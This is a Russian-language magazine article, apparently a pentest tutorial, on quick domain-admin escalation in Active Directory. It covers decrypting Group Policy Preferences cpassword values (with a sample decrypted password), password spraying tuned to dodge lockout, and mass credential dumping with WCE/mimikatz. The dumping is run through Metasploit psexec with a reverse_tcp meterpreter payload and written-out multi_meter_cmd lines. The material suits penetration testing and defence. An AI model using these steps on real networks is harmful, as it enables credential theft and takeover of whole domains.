Сегодня я расскажу о наиболее быстрых и легких способах получения максимальных привилегий в Active Directory и о том, как некоторые особенности групповых политик (GP) могут пошатнуть безопасность всей сети. Вообще, AD для пентестера, как и для администратора, очень удобная штука, позволяющая понять устройство всей информационной системы (ИС) на основании информации, представленной в каталоге.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Intro

Проводить внутреннее тестирование на проникновение зачастую каждый из нас начинает с подключения ноутбука к розетке RJ-45. В большинстве случаев мы не имеем никакого представления о локальной сети и только после подключения к сетевой розетке, начав слушать трафик, понимаем по крупицам, как там все устроено и на каких технологиях основано.

Если сеть достаточно объемная, а в большинстве случаев мы понимаем это по размеру организации, то быстро узнать наверняка, в каком сегменте находится тот или иной ресурс, важный для заказчика, становится крайне сложно. В таком случае очень полезно обладать максимальными привилегиями на некоторых уровнях информационной системы, что помогает посмотреть на сеть глазами администраторов тех или иных ресурсов, понять, как построить свой маршрут по сети для обхода файрволов и в какой именно VLAN нужно залезть, чтобы получить доступ к серверу биллинга.

Fast and furious

Active Directory («Активный каталог», AD) — LDAP-совместимая реализация службы каталогов корпорации Microsoft для операционных систем семейства Windows NT. Более подробно о нем можно прочитать на microsoft.com и получить представление из Википедии.

Итак, мы подключились к сети и знаем, что инфраструктура построена на AD. Предположим, что сетевые настройки нам выдал DHCP и про 802.1х никто не слышал.

Основной принцип техники, о которой мы поговорим, построен на получения доступа к групповым политикам AD, но параллельно с этим будут предложены и другие способы получения максимальных привилегий в каталоге.

Почему GP?

Групповые политики — это самый простой и удобный способ настройки компьютера и параметров пользователей в сетях на основе доменных служб Active Directory. Это действительно так, они используются повсеместно.

Многие администраторы в далеком 2008 году получили возможность использовать групповые политики для управления локальными привилегированными пользователями хостов на базе ОС Windows. Проще говоря, Microsoft добавила функционал для модификации локальных учетных записей ОС, в том числе изменение паролей — зачастую это необходимо для работы с ОС, когда она по каким-либо причинам не может получить доступ к каталогу AD и проверить корректность введенных на терминале учетных данных. Надеюсь, не стоит объяснять, что пароли привилегированных пользователей — полезная штука в работе хакера. Поэтому реализация именно этого функционала нас интересует на данный момент больше всего. Давай разберемся с этим процессом от лица администратора домена.

Создание локальных учетных записей через GP AD

Работа с групповыми политиками происходит через оснастку AD Group Policy Management (gpmc.msc). Для того чтобы понять, как это работает на практике, давай создадим политику, после применения которой на компьютере будет создан локальный пользователь с правами администратора.

Другие статьи в выпуске:

Хакер #182. Все о Bitcoin

• Содержание выпуска
• Подписка на «Хакер»-60%

Конфигурация данной политики будет сохранена в файл Groups.xml в директории текущего домена — \dc.test\SYSVOL\dc.test{XX-X-X-X-XX}\Machine\Preferences\Groups\, где XX-X-X-X-XX — GUID созданной политики. Графический интерфейс — это, конечно, здорово, но давай взглянем на то, как же выглядит наша новая политика.

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2013-09-30 07:15:09" uid="{DAB64924-75AF-49F9-B5CE-7CE4DF548221}" userContext="0" removePolicy="0">
<Properties action="U" newName="" fullName="" description="" cpassword="aZCB6SQBc4vetC+FqeHT/RNuVyOPpGrf/QfvvnvWDEk" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" subAuthority="" userName="Administrator (built-in)"/></User>
</Groups>

Как ты видишь, файл политики содержит в себе как имя пользователя — username, так и зашифрованный пароль — переменная cpassword. Из документации становится ясно, что в качестве алгоритма шифрования используется AES. Напомню, AES — симметричный алгоритм блочного шифрования. То есть для того, чтобы получить исходное значение, необходим ключ. По умолчанию, нам этот ключ никто не говорит, и складывается впечатление, что все безопасно и ключик сам по себе жестко защищен и хранится где-то в недрах этого монстра, каждый раз уникален и вообще даже не стоит заморачиваться. Хотя возникает вопрос: каким именно образом клиентская машина, получив эту групповую политику, получает исходное значение пароля? Как и где ОС достает этот ключ?

Все просто

Microsoft, видимо не захотев заморачиваться, предпочли использовать один и тот же ключ. То есть он зашит в каждой ОС, и он не уникален! Уффф, ты наверняка представил, что мы сейчас откроем IDA Pro и будем следить за процессом gpupdate и всеми его дочерними процессами до момента создания пользователя? Я тоже так думал до того момента, пока не залез в документацию MSDN касательно групповых политик и не наткнулся там на подраздел Password Encryption.

Представь мое удивление, когда я обнаружил в публично доступной документации 256-битный ключ в открытом виде. Вероятно, разработчики верят в наши силы и способности, ребята позаботились об экономии твоего времени и нервов, за что им огромное спасибо. Дело за малым — давай разберемся, как можно получить исходное значение cpassword.

Расшифровка

В расшифровке данных тебе с радостью поможет любая утилита, умеющая работать с шифрованием по алгоритму AES, например CrypTool.

Мы получили значение зашифрованного пароля из файла групповой политики, выглядит оно примерно следующим образом:

aZCB6SQBc4vetC+FqeHT/RNuVyOPpGrf/QfvvnvWDEk

Как ты успел заметить, строка выглядит как значение в Base64, и это действительно так. Длина значения данной строки 43 символа — если это Base64, то нам необходимо довести длину строки до размера, кратного четырем, иначе она будет не совсем корректна. В итоге я получил вот такое значение:

aZCB6SQBc4vetC+FqeHT/RNuVyOPpGrf/QfvvnvWDEk=

Декодируем эту Base64-строку, получаем бинарные данные, которые сможем расшифровать, используя полученный от Microsoft 256-битный ключ AES.

Воспользовавшись утилитой CrypTool, я без труда получил исходное значение зашифрованной строки: flashback_P@ssw0rd_2008_.

Вернемся к RJ-45

Наверняка ты уже готов насладиться содержимым файла groups.xml, в котором найдена строка, включающая cpassword. Надеюсь, у тебя возник вопрос касательно прав доступа к этому файлу. И это хороший вопрос! Ответ на него прост: любой пользователь домена имеет доступ на чтение всех групповых политик. Твоя цель на данном этапе — получить доступ к домену с правами абсолютно любого пользователя.

НАПРО(ВЗ)ЛОМ

Я постараюсь рассказать тебе о самых простых, но и самых эффективных способах получения привилегированной учетной записи пользователя домена.
Сперва необходимо получить доступ непосредственно к AD, начнем с разведки боем. Первая наша цель — список пользователей. Ты можешь воспользоваться простыми методами:

• На контроллере домена запущен сервис LDAP, позволяющий анонимному пользователю получить информацию о структуре домена, в том числе список пользователей. С этой задачей поможет справиться любой LDAP-клиент.
• Имена хостов, введенных в домен, отражают имя пользователя, который работает на этом хосте, например vivanov.corp.local. С этой задачей тебе поможет справитьсяnbtscan.
• Большинство МФУ-устройств поддерживают функционал работы с LDAP, например для работы с общими папками. Зачастую для доступа к большинству из них достаточно значение логин-пароль по умолчанию, которые всегда можно найти в документации к устройству. LDAP — открытый протокол, а привилегии администратора устройства позволяют изменить IP-адрес сервиса LDAP. Перенаправив учетные данные на себя, мы получаем учетную запись домена.
• Перебор паролей локальных администраторов на машинах, введенных в домен.
• Поиск на расшаренных ресурсах файла unattend.xml/autounattend.xml, представляющего собой конфигурацию для автоматической установки ОС Windows, включая пароль локального администратора в открытом виде (или в Base64, при значении PlainText «false»).
• Составление списка потенциально существующих пользователей домена с использованием хакерской догадки.
• MITM-атаки (ARP/DHCP/NBNS) — тут можно получить много больше профита. Этим атакам посвящен не один материал на страницах ][, и смысла уделять ему пару строк совершенно нет.

Обладая списком пользователей домена, не стоит затягивать с перебором их паролей. Хотя если ты получил учетные данные, используемые каким-нибудь МФУ, то можешь отложить брутфорс и перейти к следующему шагу. Если же нет, то давай продолжим наши изыскания. В качестве объекта, позволяющего верифицировать валидность пары логин-пароль, обычно используется сервис SMB на контроллере домена, это связано со скоростью перебора паролей. Конечно же, никто не запрещает проводить атаку на сервис LDAP, или OWA (Outlook Web Access), или любой другой сервис, использующий учетные записи домена для авторизации пользователей.

Как ты наверняка знаешь, брутфорс довольно грубая штука, тем более в Active Directory. Он не только может быть замечен администратором, но и может повлечь за собой блокирование учетных записей пользователей, которые в данный момент работают с ИС. Этого допускать категорически нельзя. Политика блокирования (именно к блокированию и может привести брут) учетных записей доменных пользователей представлена в выводе команды net accounts, выполненной на машине, введенной в домен. Но так как мы не обладаем такой информацией на данный момент, то будем придерживаться немного жесткой политики блокирования учетных записей пользователей из-за неправильного ввода учетных данных.

Как правило, блокирование аккаунта пользователя осуществляется по триггеру — в течение 15 минут три раза введен неправильный пароль, по истечении 15 минут счетчик обнуляется, и учетная запись разблокируется, если была заблокирована. Хотя бывают ситуации, когда в зависимости от строгости администратора блок аккаунта может обернуться бумажной волокитой и объяснительными для пользователя, чья учетная запись заблокирована. И только после этого аккаунт снова будет активен. Поэтому не стоит злоупотреблять и выдавать свою активность. Самый лучший способ брутфорса — перебор не пароля, который подойдет к конкретному пользователю, а перебор имени пользователя по имеющемуся списку, который использует конкретный пароль. Одна итерация раз в 15 минут. Таким образом ты наверняка не повлияешь на работоспособность учетных записей, что действительно важно. Разгневанный пользователь для администратора более яркий маяк атаки, чем немного переполненные лог-файлы.

Обладая учетной записью домена, ты обретаешь как минимум возможность получить доступ к сетевым ресурсам NETLOGON и SYSVOL, доступным для чтения всем доменным пользователям.

Напомню, папка NETLOGON — это некий отголосок прошлого в современных сетях, она необходима лишь в случае того, если в домене присутствуют рабочие станции под управлением Windows98. Она может содержать разноплановые скрипты, которые будут запускаться на рабочей станции при логине пользователя в систему. Для более поздних версий Windows такие скрипты хранятся в директории SYSVOL\scripts. Помимо этого, как было сказано ранее, папка SYSVOL содержит все объекты групповых политик домена.

Для начала рекомендую разобраться со всеми скриптами из папок NETLOGON иSYSVOL\scripts. Многие администраторы, не желая возиться с правами доступа, необходимыми для выполнения сценариев на рабочих станциях, прописывают в скриптах учетную запись с правами администратора домена, которую и использует сценарий. Часто встречаются обфусцированные скрипты на VBS, именно там бывает много вкусного. Вероятность, что ты наткнешься на какой-нибудь пароль, который администратор использует для многих ресурсов, очень высока.

Когда у тебя есть учетная запись привилегированного пользователя (будь то учетная запись локального администратора рабочих станций или же доменная учетка, обладающая правами локального администратора на перечне рабочих станций или серверов), для быстрого получения максимальных привилегий в домене рекомендую использовать утилиты WCE илиmimikatz. Функционал каждой из этих утилит позволяет получить учетные данные всех авторизованных в локальной системе пользователей. Уверен, тебе интересно, как именно это работает. Это напрямую связано с реализацией в ОС Windows библиотеки WDigest.dll, предназначенной для дайджест-аутентификации. Особенности реализации механизмаHTTPDigest Authentication для поддержки SSO (Single Sign On) требуют знания вводимого пароля, а не только его хеша, поэтому разработчики решили зашифровать пароли пользователей с помощью стандартной функции LsaProtectMemory, а затем расшифровывать их с помощью функции LsaUnprotectMemory по мере необходимости.

Так что же дает нам использование этих утилит в контексте наших текущих привилегий? Все просто — существует очень большая вероятность того, что на одной из рабочих станций, на которой мы обладаем привилегиями локального администратора, сохранены учетные данные авторизированного в системе привилегированного пользователя. Если в первой итерации пароль администратора домена получить не удалось, то следует выявить пользователя, учетными данными которого ты обладаешь, с наивысшими привилегиями и повторить итерацию от его имени. Утилиты настолько просты в использовании, что даже пары слов уделять этому не стоит. Достаточно правильно рассудить, на какой именно рабочей станции они, скорее всего, присутствуют, — тут в помощь данные из LDAP, или же переходить с одного хоста на другой до тех пор, пока не появится ожидаемый результат. Но никто не любит рутину, а в случае, когда перед тобой стоит не особо интеллектуальная задача — запустить одну и ту же программу на сотне хостов, — только рутина и присутствует. Автоматизация — наше все. Автоматизировать заливку и запуск утилит достаточно просто с помощью всеми любимого MSF. К примеру, мы хотим выполнить WCE на нескольких десятках хостов, на которых наша учетная запись имеет привилегии локального админа. Для начала нам понадобится плагин Metasploit post_auto, который необходимо скопировать в директорию с плагинами (например, ~/.msf4/plugins). После чего необходимо подготовить бинарник WCE — не забывай, обе утилиты имеют свои версии для x86- и x64-систем. Запускаем Metasploit. Подгружаем плагин load post_auto. Выбираем для использования модуль load auxiliary/scanner/smb/psexec_scanner. Выставляем все необходимые значения (команда set), перечень которых можно увидеть в выводе команды show options. В качестве полезной нагрузки (payload), рекомендую использовать проверенный временемwindows/meterpreter/reverse_tcp. Запускаем модуль командой exploit. После того как выполнение модуля завершено, перечень сессий, созданных для дальнейшей работы с «порабощенными» хостами, представлен в выводе команды sessions. Если их нет — что-то пошло не так, RTFM, будь добр.

После того как сессии открыты, можно приступать к загрузке и выполнению нашей утилиты (WCE/mimikatz, параметры запуска, конечно же, различны). Для выполнения одной и той же команды в отношении всех созданных сессий используется команда multi_meter_cmd. Вот небольшой пример запуска утилиты WCE на всех хостах, где были созданы сессии:

`multi_meter_cmd -m "execute -H -m -d calc.exe -f /path/to/wce.exe -a '-w -o foo.txt'" -s all`

После чего MSF послушно заливает бинарник WCE на каждый хост и запускает его с параметрами -w –o foo.txt (запишет вывод в файл foo.txt текущей директории).

После того как команда выполнена на всех хостах, необходимо получить вывод WCE с каждого из них. Достаточно выполнить multi_cmd -c "type foo.txt" -s all и немного подождать.

Собрав все выводы, почистим за собой — удалим файл foo.txt на каждом хосте: multi_cmd -c "del foo.txt" -s all. И закроем сессии, если они больше не нужны, — sessions -K.
С вероятностью 90% на первой же итерации ты получишь учетную запись администратора домена.

Outro

Уверен, что комбинация перечисленных методов поможет тебе составить несколько сценариев быстрого повышения привилегий в рамках Active Directory и позволит потратить больше времени на более глубокое исследование безопасности информационной системы. Ведь теперь перед тобой не black, а как минимум grey box! Удачных пентестов! Stay tuned!